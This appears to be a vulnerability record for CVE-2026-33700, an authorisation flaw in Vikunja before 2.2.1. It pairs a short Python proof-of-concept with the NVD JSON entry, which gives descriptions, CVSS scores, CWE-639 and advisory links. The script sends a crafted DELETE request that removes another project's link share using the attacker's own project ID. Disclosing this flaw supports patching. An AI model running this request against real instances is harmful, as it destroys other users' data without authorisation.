CVE-2026-33700

import requests # Configuration base_url = "http://target-vikunja-instance.com" # Attacker's Project ID (Attacker has Admin rights here) attacker_project_id = "123" # Victim's Share ID (The link share to be deleted) victim_share_id = "999" # Vulnerable Endpoint url = f"{base_url}/api/v1/projects/{attacker_project_id}/shares/{victim_share_id}" # Attacker's Auth Token headers = { "Authorization": "Bearer <ATTACKER_JWT_TOKEN>" } # Send Exploit Request response = requests.delete(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Share deleted.") else: print(f"[-] Exploit failed: Status {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-33700", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:35.857", "lastModified": "2026-03-30T13:35:39.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DELETE /api/v1/projects/:project/shares/:share` endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID. Version 2.2.1 patches the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de la versión 2.2.1, el endpoint `DELETE /api/v1/projects/:project/shares/:share` no verifica que el recurso compartido de enlace pertenezca al proyecto especificado en la URL. Un atacante con acceso de administrador a cualquier proyecto puede eliminar recursos compartidos de enlace de otros proyectos proporcionando su propio ID de proyecto combinado con el ID del recurso compartido objetivo. La versión 2.2.1 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.1", "matchCriteriaId": "E8647862-9C78-473D-9FED-7AFC24335A61"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-f95f-77jx-fcjc", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}